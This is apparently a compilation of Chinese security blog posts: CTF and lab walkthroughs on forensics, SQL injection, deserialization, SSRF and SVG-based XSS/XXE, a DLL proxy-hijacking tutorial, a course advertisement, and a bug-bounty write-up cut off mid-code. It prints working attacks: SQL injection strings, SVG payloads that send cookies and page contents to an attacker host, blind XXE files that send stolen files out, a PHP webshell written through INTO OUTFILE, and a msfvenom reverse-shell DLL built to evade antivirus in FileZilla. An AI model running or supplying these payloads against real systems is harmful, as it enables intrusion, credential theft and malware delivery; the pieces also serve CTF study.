看看网站源代码里面有什么吧:
我们发现有一个images的目录,访问试试
发现有多张图片,除了网页上显示的几张之外,还有一个"dna.jpg"和"fingerprint.jpg"的图片,同样把它们下载下来。
这个"fingerprint.jpg" 看起来是个暗示,我们看看图片的信息。
直接file查看文件信息,发现exif信息里面存在 flag,这样第一个flag就到手了
别的图片也可以看一下:
好像没啥东西。
我们继续对网站下手,试试扫描网站文件和目录
dirb除了可以扫描目录之外,还可以扫描指定文件后缀的方式来扫描文件,比如我们可以扫描是否存在备份文件之类的,比如.backup、.git、.txt什么的
发现一个txt文件,看看是什么内容
"tips.txt"中记录了两个文件路径,访问看看
igolder目录下有一个文件,我们下载下来,zip文件也下载下来
0x3、文件信息收集
打开"clue.txt"看看
应该是一个PGP密钥,还有一部分PGP加密的消息
再看看zip文件
zip文件似乎被加密了。密码应该是PGP密钥里面。
我们可以拿到在线PGP解密网站上解密一下那串消息。
当我搜索 PGP在线解密的时候出来的就是 igolder这个网站
我们把PGP私钥和消息粘贴进去,解密出来是一个提示:
提示说:取证人员忘记密码了。但是记得是6位数,前三位是"for",后三位是纯数字。
既然这样我们只能暴力猜解了。我们可以先用"crunch"工具生成字典,然后用"fcrackzip"去破解zip文件
解出来密码是"for007",然后解压文件
有两个文件,一个是pdf文件,一个是dmp文件,从名字来看,是windows的lsass进程的内存转储文件。
先打开pdf文件看看
找到第二个flag了。
这里我们可以用mimikatz工具检查dump文件
可以发现有两个用户,一个是jasoos,一个是raj,mimikatz没有直接读取出密码明文,我们可以试试破解NT Hash,用John the Ripper 工具试试
emm,很慢,我们也可以找一个在线网站破解
快多了,一下子就出来了。
0x4、目标主机信息收集
NT hash解密出来了。但是目标机器是一个Linux,开放了22端口。难道就是用的这个密码吗?
试一试吧,为了方便后渗透,这里我们使用msf里面的ssh_login模块
可以看到登录成功了。我们可以用session -u 升级成一个meterpreter会话
我们发现目标主机上有多个网络连接
0x5、横向渗透
我们利用msf后渗透模块的路由添加功能,添加网络路由,然后对目标网络进行扫描
然后探测一下目标主机
发现一台目标机器 172.17.0.2
接着对目标进行一下端口扫描
发现目标开放了21端口。我们可以试试ftp登录
发现可以使用匿名登录,我们试试登录到ftp中。先切换到目标主机的shell中
但是这个shell有点难用,我们可以调用python实现一个友好一点的shell,然后用匿名账号登录到ftp
看看ftp中都有什么文件
里面有一个pub目录,目录中有一个saboot.001的文件,我们把它下载下来
然后把这个文件下载到我们自己的机器上
下载下来后,看一下文件的信息
看起来是一个磁盘镜像文件。我们可以用autospy加载文件进行分析。
0x6、磁盘取证分析
在Kali中找到autospy
打开软件然后加载 saboot.001文件,新建case过程就一一详细说明了
把镜像文件加载进来:
添加完成之后,点分析文件
然后我们发现有一些文件
发现一个flag3.txt打开看看
第三个flag到手
还有一个creds.txt的文件,我们打开看看是什么
看起来像一串被加密的字符串,有点像base64编码的
试试解密
解密出来是“jeenaliisagoodgirl”
然后这个saboot.001就找不到其他有价值的信息了。
当然也可以使用FTK Imager之类的软件加载磁盘镜像也是可以的
0x7、目标主机分析
我们再次回到目标主机,看看目标主机还有什么线索
目前我们得到的目标主机shell是一个普通用户
看看是否还有其他用户
发现一个 forensic用户,进去看看
没有发现什么有价值的线索。
看看root用户下面有什么?
发现没有权限查看。
sudo也不行
试试找找suid程序
发现没有可利用的。
试试切换到forensic用户,尝试用jeenaliisagoodgirl这个密码
发现成功了
试试这个用户是否有sudo权限
发现是可以的。而且可以执行命令的路径有/sbin/ /bin这种。那么就可以直接sudo 查看root目录中的文件了
成功得到第四个flag
至此,四个flag都到手了。成功完成了我们的任务
网络安全管理职业技能竞赛web writeup
本文涉及知识点:https://www.yijinglab.com/pages/CTFLaboratory.jsp
Web
0x01 easy_sql
一开始看到是easysql,那就先上sqlmap跑跑看,跑出了数据库名security以及若干表名
继续跑flag,结果没跑出来,最后还是上手工了。。。
测试输入一个单引号,页面无反应,但是在源码中发现了又报错信息
接着用单引号和括号闭合,报错注入,之后想了一下,为什么页面没有回显呢,原来是因为错误信息居然显示白色,前期被骗了很久,用鼠标描一下即可看到
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
0x02 ezsqli
开局一个输入框
查看hint得到源码
<?php
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
password被过滤了,usename没有过滤,使用联合查询,构造username和password返回admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
0x03 warmup
下载源码开始审计,在index.php中发现了unserialize,估计是考察反序列化的利用了
···
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···
conn.php源码
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "quot;, "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
可以看到在check_login中,有个flag的输出点,前提是我们需要伪造成admin用户
继续往下看,有个执行SQL语句的地方
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
下面还有个waf,看了一下,发现我们需要构造的万能密码所用到的字符不会被ban
$blacklist = ["union", "join", "!", "\"", "#", "quot;, "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
所以这里我们可以利用SQL注入来变成admin登录,username改为admin,password为万能密码a' or '1'='1,代码如下:
<?php
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9,输入之后获得flag
0x04 ssrfME
访问可以看到有两个输入点,一个可以输入url,一个是验证码
脚本爆破验证码
<?php
for ($i=0; $i < 1000000000; $i++) {
$a = substr(md5($i), -6, 6);
if ($a == "d17b5b") {
echo $i;
break;
}
}
?>
尝试使用file协议读取,发现读取/etc/passwd成功
读取/flag,没成功,尝试读取/var/www/html/index.php,得到源码,原来是有个waf过滤了flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
···
file协议读flag,利用两个url编码flag绕过
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
0x05 SecretGuess
题目给了源码,但是不全
在index.html中发现了source,点击可以看到源码
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => {
res.render("index")
})
app.post('/', (req, res) => {
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
res.render("index", {result: process.execSync("echo $FLAG")})
} else {
res.render("index", {result: "wrong secret"})
}
})
app.get('/source', (req, res) => {
res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");
在给出dockerfile中,文件内容为
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js
去搜索相关内容,发现了可能会存在CVE-2017-14849漏洞
输入/static/../../a/../../..//etc/passwd,利用成功
接着去获取secret,/static/../../a/../../../usr/local/app/.env,得到secret=CVE-2017-14849
根据源码中的条件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我们将CVE-2017-14849进行md5加密之后提交即可获得flag,auth=10523ece56c1d399dae057b3ac1ad733
DLL代理转发与维权、提权
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014051614203800001&pk_campaign=heetian-wemedia(通过本实验的学习掌握特征码免杀技术。)
最近看了一些免杀,这一篇小白文章,大佬绕过。知识按照自己的知识整理和写出来的。
DLL劫持
再Windows 7 版本之后,系统采用了KnowDLLs对DLL进行管理,其位于注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs下,在这个下面的DLL文件会被禁止从exe自身所在的目录下调用,而只能从系统目录(System32)目录下调用。但不是所有的dll都会被写入这个注册表,因此就会产生DLL劫持。
使用msfvenom生成的dll直接秒杀。
SharpDllProxy
听名字大概类似于socks代理一样。工具来源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具体实现还可以参考这篇大佬的博客.
前言
先理解下动态链接库的运行原理。如果应用程序A要使用动态链接库DataFunctions.dll里面的GetFunkyData()函数,就需要加载DataFunctions.dll动态链接库。这个工具就是出于这一点考虑,创建一个名字一模一样的DataFunction.dll动态链接库,他的功能有两个:①做个快捷键,将所有的功能转发到千真万确的动态链接库DataFunctions.dll,这就是名字中proxy的由来;②在这个假冒的DataFunctions.dll里面写入shellcode。附上作者原图:
实验过程
目标程序
花费了些时间搞这实验,例如FileZilla软件,怎么去找这个需要加载的dll呢?如作者说的,把该软件拷贝出去就知道他缺什么了。如下:
那就说明运行改应用程序需要加载该DLL文件,那就针对这个DLL做一个假的libnettle-8.dll。
生成shellcode
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
实验开始
首先下载SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019对其进行编译,尽量不要使用其他版本,因为我用了下visual studio 2017各种报错搞了半天没搞出来,也可能环境有问题。
直接使用 vs 打开 文件下的SharpDllProxy --》 生成解决方案
使用SharpDllProxy.dll生成一个假冒的libnettle-8.dll。将shell.bin和需要被假冒的Dll放到上图的文件中。执行如下命令:.\SharpDllProxy.exe --dll libnettle-8.dll --payload shell.bin
生成的文件包含了一个C文件和一个dll,这个dll文件就是原来的 libnettle-8.dll 文件。
来分析下这个C语言程序,从第9行到494行都是转发DLL的函数,将所有需要运行函数转发原来的DLL,让其进行处理。
到了497行就是我们插入的shellcode的地方。重点代码也就只有这么一点,其实还可以直接把shell.bin这个shellcode写入到该文件,就减少了文件可疑文件数量。这里是按照二进制的方式读入然后使用VirtualAlloc内存操作执行shellcode。到这里就可以自己一顿操作猛如虎,各种免杀姿势用上来,例如换个加载方式,如对shellcode先加密然后解密运行。
使用 VS 编译上面的C文件。文件---》新建---》项目---》动态链接库--》项目名为 libnettle-8。复制上面的C文件代码到VS中编译
将上面的三个文件(tmpD475.dll、libnettle-8.dll、shell.bin),发送到目标系统中。使用msf监听,然后运行程序,就已经返回会话了。
使用最常用的杀毒软件:360、火绒和安全管家都没有被发现。
浅谈SVG的两个黑魔法
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDcb00-c025-4fea-a3f4-93057c24bf78&pk_campaign=heetian-wemedia(XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。)
前言
之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。
SVG简介
SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
SVG造成XSS
直奔主题
我们在一张SVG图片里面插入一个JavaScript代码。
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
<script>alert(1)</script>
</svg>
我们用浏览器打开它会发现它会造成XSS。
刨根问底
为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。
可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。
那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。
CTF中的应用场景
XSSME
题目地址:https://xssrf.hackme.inndy.tw/
本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:
<script
)
onmouseover
空格onload
空格onerror
<iframe
我们这里可以考虑用SVG标签来进行XSS,比如:
<svg/onload=alert(1)>
这里我们可以发送到VPS测试一下是否有效
<svg/onload="document.location='http://vps-ip:1234'">
vps成功接收到信息
然后再获取cookie即可
<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">
Teaser Confidence CTF 2019:Web 50
本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。
根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。
在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。
所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">
...
<g>
<polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://xxxx.burpcollaborator.net/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</g>
...
</svg>
这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:
最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。
SVG造成XXE
前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。
CTF中的应用场景
这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。
有回显的情况
svgmagic(BsidesSF CTF 2019)
github题目源码:传送门
buu平台也有上这道题目
打开页面
打开页面就提示Convert SVG to PNG with Magic
这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。
我们直接读取/etc/passwd试一下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们把上面这段代码保存为1.svg,并上传。
可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。
还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。
最后payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
我们保存为2.svg上传,发现成功读取到flag。
无回显的情况
在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:
先在本地PHPStudy写入无回显处理XML的代码
xml.php
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
然后在自己的VPS上放置
xml.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
这里有几个需要注意的点:
ip换成自己的vps的ip
这里的%会被xml解析成%,如果直接用%的话我本地会报错。
注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。
最后我们POST提交的payload
<?xml version="1.0"?>
<!DOCTYPE Note [
<!ENTITY % remote SYSTEM "http://ip/xml.dtd">
%remote;
%start;
%send;
]>
这里的ip同样换成自己的vps的ip
下一步在VPS上开启监听1234端口
nc -lvp 1234
然后我们抓xml.php的POST包并发送payload
可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。
我们来梳理一下他的整个调用过程
1.首先我们payload中的% remote去获取vps上的xml.dtd
2.然后xml.dtd中的% start去调用% file
3.% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码
4.最后通过% send将数据发送到vps监听的1234端口上5.
这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:
svgggggg!(DozerCTF2020)
这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。
题目给的两个hint:
▲ 用户r1ck的操作记录在哪儿来着
▲ 如果你发现了sql注入,直接getshell吧,flag在/app目录里
复现过程如下:
打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type!
我们先写一个简单的SVG图片源码放在vps上,保存为1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file "HELLO">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&file;</text>
</svg>
提交SVG图片源码地址发现实体成功显示,然后我们尝试读取一下用户的history文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY file SYSTEM "file:///home/r1ck/.bash_history">
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&files;</text>
</svg>
页面虽然正常返回信息,但是并不能直接读到我们想要的东西,但是无回显,所以这里就可以利用到盲XXE来外带数据了,也就是通过加载外部一个dtd文件,然后把读取结果以HTTP请求的方式发送到自己的VPS。
构造1.svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Note [
<!ENTITY lab SYSTEM "file:///home/r1ck/.bash_history">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///home/r1ck/.bash_history">
<!ENTITY % remote SYSTEM "http://39.105.158.221:1234/xml.dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg" height="200" width="200">
<text y="20" font-size="20">&lab;</text>
</svg>
构造xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">
然后我们把1.svg和xml.dtd放到我们的vps上,然后在我们的vps上监听1234端口,再在网页提交1.svg的链接即可成功读取到.bash_history,内容如下:
cd /app
php -S 0.0.0.0:8080
可以得知在8080端口有另外一个web服务,我们继续利用XXE数据外带读取源码,修改1.svg的一部分内容如下,其余操作一样
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/app/index.php">
读取到源码如下:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
<?php
$conn=mysql_connect('127.0.0.1','root','');
mysql_select_db('security');
if ($_GET['id']){
$id = $_GET['id'];
}
else
$id = 1;
$sql = "select * from user where id='$id'";
$result = mysql_query($sql,$conn);
$arr = mysql_fetch_assoc($result);
print_r($arr);
?>
发现sql注入,没有任何的过滤,直接利用into outfile写个一句话木马,当然这里要注意的是传入的时候要url编码。
http://127.0.0.1:8080/index.php?id=-1%27 union select 1,'<?php system($_GET[cmd]);>' into outfile'/app/dashabi.php'#
写完shell之后,继续利用数据外带读取内容,重复上面的步骤即可。
读取文件目录:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=ls">
读取flag:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/dashabi.php?cmd=cat%20H3re_1s_y0ur_f14g.php">
总结
SVG算是一个比较容易让人忽视的点,但是他造成的一些问题却是我们不能够忽视的,在CTF中如果有些题目没有限制SVG这个点的话,我们就可以尝试用他来进行XSS或者XXE,然后在查阅资料的过程,发现在国外有人总结了SVG的攻击XSS的一些payload以及防御的方案,具体可以参考:
https://svg.digi.ninja/
https://github.com/digininja/svg_xss
参考链接
http://yulige.top/?p=665
https://www.rootnetsec.com/bsidessf-svgmagick/
https://www.freebuf.com/vuls/207639.html
返“利”数百倍,攻略冒险分享中!
黑客入门必修训练营
第七期开学典礼
就在11月3日15:00-15:45
3天直播课全勤到课
即可获得全勤奖现金红包9.9元
学习还能拿钱,这样操作了解一下
01 0基础萌新学习建议
网络安全其实相对来说入门比较友好。圈内搞网络安全的很多都是其他专业转入,看下图你可能更清晰:
怎么入门网络安全
网络安全学习,一般均从Web安全入手,这个学习路径可以参考:
Web安全入门学习路径
至于其他的学习资料,你可能已经尝试过在先知社区、CSDN等安全社区寻找文章或视频,最终都会发现:基础入门的资源很多,质量良莠不齐,自学的效率并不高。
而作为一个萌新小白,在学习过程中可能会遇到各种各样奇奇怪怪的情况,基于此,我们开设了一门——3天《黑客入门必修训练营》的课程,本号粉丝限时福利:2人团购仅需2分钱即可报名。
训练营的周期为11月3日-11月5日下午3点到4点,心急的小伙伴可以直接扫码解锁!
11月3日下午15:00将进行第一节课开学典礼!!!
只需要2分钱你就能系统学习,收获CSRF漏洞从入门到进阶实战训练+7天高质量社群服务+专业老师答疑+配套靶场实战巩固,还能获取全勤奖现金红包+独家资料大礼包!
如果你对训练营不太了解,请继续往下看。
02 训练营主要讲什么
本次训练营为期3天,你将在训练营了解到网络安全的行业前景及学习规划、明确今后的学习方向,还能从0基础学习CSRF到进阶学习,具体课程安排如下:
本次课程提供
1.课程永久回放,供你重复观看,可稳固知新
2.配套课程课后靶场作业:学员完成课后靶场作业,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!
3.答疑服务,高质量的Web安全学习社群,班级群内分享前沿知识,跟一群人行走,你能走得更远
4.全勤奖+独家学习资料包
扫码领取资料及靶场地址
本课程适合想入门渗透测试的同学参加,学习过程中,同学们千万不要放弃,三天按时进行学习,同时学习的过程中要记录图文并茂的笔记,最重要的进行实践,实践,实践,所以课后靶场实战作业一定一定要按时完成。
03 报名训练营小惊喜
除了优质的课程内容,我们还给大家准备了小惊喜——全勤奖励
全勤奖
3天直播课全勤到课,即可获得全勤奖,全勤奖奖励为现金红包9.9元,学习还能拿钱,快来参与吧,名额不限哟!除此之外,报名训练营,我们还提供独家资料包。
福利!
如果你已报名本次课程,想要更多的网络安全学习工具及学习资料,扫描下方二维码后发送报名截图并回复【安全学习】领取。(希望领取了资料的同学们,能把资料真正的用起来,而不是直接打入冷宫!)
同时,如果你想看看自己适不适合入门网络安全,也可以扫描二维码,我们有一套完整的测试体系可以帮助你。
扫码领取学习资料
2分钱 = 掌握网络安全行业前景 + 网络安全学习路径 + CSRF漏洞0基础到精通 + 全勤奖(9.9元现金红包) + 网络安全独家工具及资料包
记一次某众测的考核
本文涉及知识点:https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062017112114390500001&pk_campaign=heetian-wemedia(介绍SQL注入原理并解释了简单判断一个参数是否存在注入的原理,能够利用简单的SQL注入获取其他敏感数据。)
前言
最近没什么事,于是报名了某众测,填了资料主办方给了个靶场要考核,这里分享一下靶场考核中的解题过程,一共十道题目,难度也不算太难,但也有一些题没做出来,最后也是顺利的通过了考核。
前戏
首先考核要答一些选择题和判断题,没什么好说的,主办方要求连了vpn没法上外网,但是都是一些基础的网络安全问题,随便答答就过了,接下来就是靶场的题目了。
靶场题目
第一题
WeSec微信公众号
提示:用IPAD手机的2G网络上网
很明显改改UA头就行了,直接搜一下UA头,替换上去。
改UA头
GET /mp_weixin_qq_com.php HTTP/1.1
Host: 119.3.225.8:41064
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/2G Language/zh_CN
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://119.3.225.8:41064/index.html
Upgrade-Insecure-Requests: 1
返回
mozhe64d25d173bdbae7366b76e0798a
第二题
易学车智能考试系统
扫目录发现/admin
爆破弱口令admin和admin888登录后台,发现后台是一个保存文件的功能,这里可以直接读取备份文件bak_wwwroot.zip的源码,关键代码如下:
<input name="todir" type="text" id="todir" value="__bak__" class="xxp">(留空为本目录)<br>文件保存名称:
<input name="zipname" type="text" id="zipname" value="bak_wwwroot.zip" class="xxp">(.zip)<br><br>
<input name="password" type="hidden" id="password" value="<?php echo $_POST['password'];?>">
<input name="myaction" type="hidden" id="myaction" value="dozip">
<input type="submit" name="Submit" class="sub" value=" 开始备份">
function createfile(){
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
pack('v', $this -> file_count) .
pack('v', $this -> file_count) .
pack('V', $this -> dirstr_len) .
pack('V', $this -> datastr_len) .
"\x00\x00";
fwrite($this->fp,$this->dirstr.$endstr);
fclose($this->fp);
}
}
if(is_array($_REQUEST[dfile])){
$faisunZIP = new PHPzip;
if($faisunZIP -> startfile("$_REQUEST[todir]$_REQUEST[zipname]")){
echo "正在添加备份文件...<br><br>";
$filenum = 0;
foreach($_REQUEST[dfile] as $file){
if(is_file($file)){
